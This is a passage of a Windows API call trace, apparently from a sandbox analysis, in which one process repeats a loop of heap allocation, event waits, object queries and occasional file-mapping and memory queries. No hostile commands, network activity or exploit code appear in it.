[0071.899] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.899] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.899] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.899] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.899] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.899] ResetEvent (hEvent=0x110) returned 1 [0071.899] SetEvent (hEvent=0x114) returned 1 [0071.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.900] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.900] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.900] ResetEvent (hEvent=0x110) returned 1 [0071.900] SetEvent (hEvent=0x114) returned 1 [0071.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.900] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.900] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.900] ResetEvent (hEvent=0x110) returned 1 [0071.900] SetEvent (hEvent=0x114) returned 1 [0071.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.900] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.900] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.900] ResetEvent (hEvent=0x110) returned 1 [0071.901] SetEvent (hEvent=0x114) returned 1 [0071.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.901] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.901] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.901] ResetEvent (hEvent=0x110) returned 1 [0071.901] SetEvent (hEvent=0x114) returned 1 [0071.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.901] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.901] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.901] ResetEvent (hEvent=0x110) returned 1 [0071.901] SetEvent (hEvent=0x114) returned 1 [0071.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.901] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.902] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.902] ResetEvent (hEvent=0x110) returned 1 [0071.902] SetEvent (hEvent=0x114) returned 1 [0071.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.902] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.902] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.902] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.902] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.902] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.902] ResetEvent (hEvent=0x110) returned 1 [0071.902] SetEvent (hEvent=0x114) returned 1 [0071.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.902] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.902] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.902] ResetEvent (hEvent=0x110) returned 1 [0071.902] SetEvent (hEvent=0x114) returned 1 [0071.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.903] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.903] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.903] ResetEvent (hEvent=0x110) returned 1 [0071.903] SetEvent (hEvent=0x114) returned 1 [0071.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.903] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.903] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.903] ResetEvent (hEvent=0x110) returned 1 [0071.903] SetEvent (hEvent=0x114) returned 1 [0071.903] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.903] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.903] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.904] ResetEvent (hEvent=0x110) returned 1 [0071.904] SetEvent (hEvent=0x114) returned 1 [0071.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.904] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.904] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.904] ResetEvent (hEvent=0x110) returned 1 [0071.904] SetEvent (hEvent=0x114) returned 1 [0071.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.904] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.904] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.904] ResetEvent (hEvent=0x110) returned 1 [0071.904] SetEvent (hEvent=0x114) returned 1 [0071.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.904] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.905] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.905] ResetEvent (hEvent=0x110) returned 1 [0071.905] SetEvent (hEvent=0x114) returned 1 [0071.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.905] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.905] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.905] ResetEvent (hEvent=0x110) returned 1 [0071.905] SetEvent (hEvent=0x114) returned 1 [0071.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.905] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.905] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.905] ResetEvent (hEvent=0x110) returned 1 [0071.905] SetEvent (hEvent=0x114) returned 1 [0071.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.906] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.906] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.906] ResetEvent (hEvent=0x110) returned 1 [0071.906] SetEvent (hEvent=0x114) returned 1 [0071.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.906] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.906] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.906] ResetEvent (hEvent=0x110) returned 1 [0071.906] SetEvent (hEvent=0x114) returned 1 [0071.906] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.906] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.906] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.906] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.906] ResetEvent (hEvent=0x110) returned 1 [0071.906] SetEvent (hEvent=0x114) returned 1 [0071.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.907] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.907] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.907] ResetEvent (hEvent=0x110) returned 1 [0071.907] SetEvent (hEvent=0x114) returned 1 [0071.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.907] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.907] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.907] ResetEvent (hEvent=0x110) returned 1 [0071.907] SetEvent (hEvent=0x114) returned 1 [0071.907] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.907] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.907] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.907] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.907] ResetEvent (hEvent=0x110) returned 1 [0071.908] SetEvent (hEvent=0x114) returned 1 [0071.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.908] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.908] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.908] ResetEvent (hEvent=0x110) returned 1 [0071.908] SetEvent (hEvent=0x114) returned 1 [0071.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.908] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.908] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.908] ResetEvent (hEvent=0x110) returned 1 [0071.908] SetEvent (hEvent=0x114) returned 1 [0071.908] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.908] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.908] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.909] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.909] ResetEvent (hEvent=0x110) returned 1 [0071.909] SetEvent (hEvent=0x114) returned 1 [0071.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.909] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.909] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.909] ResetEvent (hEvent=0x110) returned 1 [0071.909] SetEvent (hEvent=0x114) returned 1 [0071.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.909] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.909] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.909] ResetEvent (hEvent=0x110) returned 1 [0071.909] SetEvent (hEvent=0x114) returned 1 [0071.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.909] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.910] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.910] ResetEvent (hEvent=0x110) returned 1 [0071.910] SetEvent (hEvent=0x114) returned 1 [0071.910] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.910] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.910] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.910] ResetEvent (hEvent=0x110) returned 1 [0071.910] SetEvent (hEvent=0x114) returned 1 [0071.910] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.910] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.910] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.910] ResetEvent (hEvent=0x110) returned 1 [0071.910] SetEvent (hEvent=0x114) returned 1 [0071.910] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.911] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.911] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.911] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.911] ResetEvent (hEvent=0x110) returned 1 [0071.911] SetEvent (hEvent=0x114) returned 1 [0071.911] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.911] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.911] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.911] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.911] ResetEvent (hEvent=0x110) returned 1 [0071.911] SetEvent (hEvent=0x114) returned 1 [0071.911] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.911] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.911] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.911] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.911] ResetEvent (hEvent=0x110) returned 1 [0071.911] SetEvent (hEvent=0x114) returned 1 [0071.912] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.912] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.912] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.912] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.912] ResetEvent (hEvent=0x110) returned 1 [0071.912] SetEvent (hEvent=0x114) returned 1 [0071.912] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.912] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.912] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.912] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.912] ResetEvent (hEvent=0x110) returned 1 [0071.912] SetEvent (hEvent=0x114) returned 1 [0071.912] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.912] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.912] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.912] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.913] ResetEvent (hEvent=0x110) returned 1 [0071.913] SetEvent (hEvent=0x114) returned 1 [0071.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.913] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.913] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.913] ResetEvent (hEvent=0x110) returned 1 [0071.913] SetEvent (hEvent=0x114) returned 1 [0071.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.913] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.913] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.913] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.913] ResetEvent (hEvent=0x110) returned 1 [0071.913] SetEvent (hEvent=0x114) returned 1 [0071.913] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.913] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.914] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.914] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 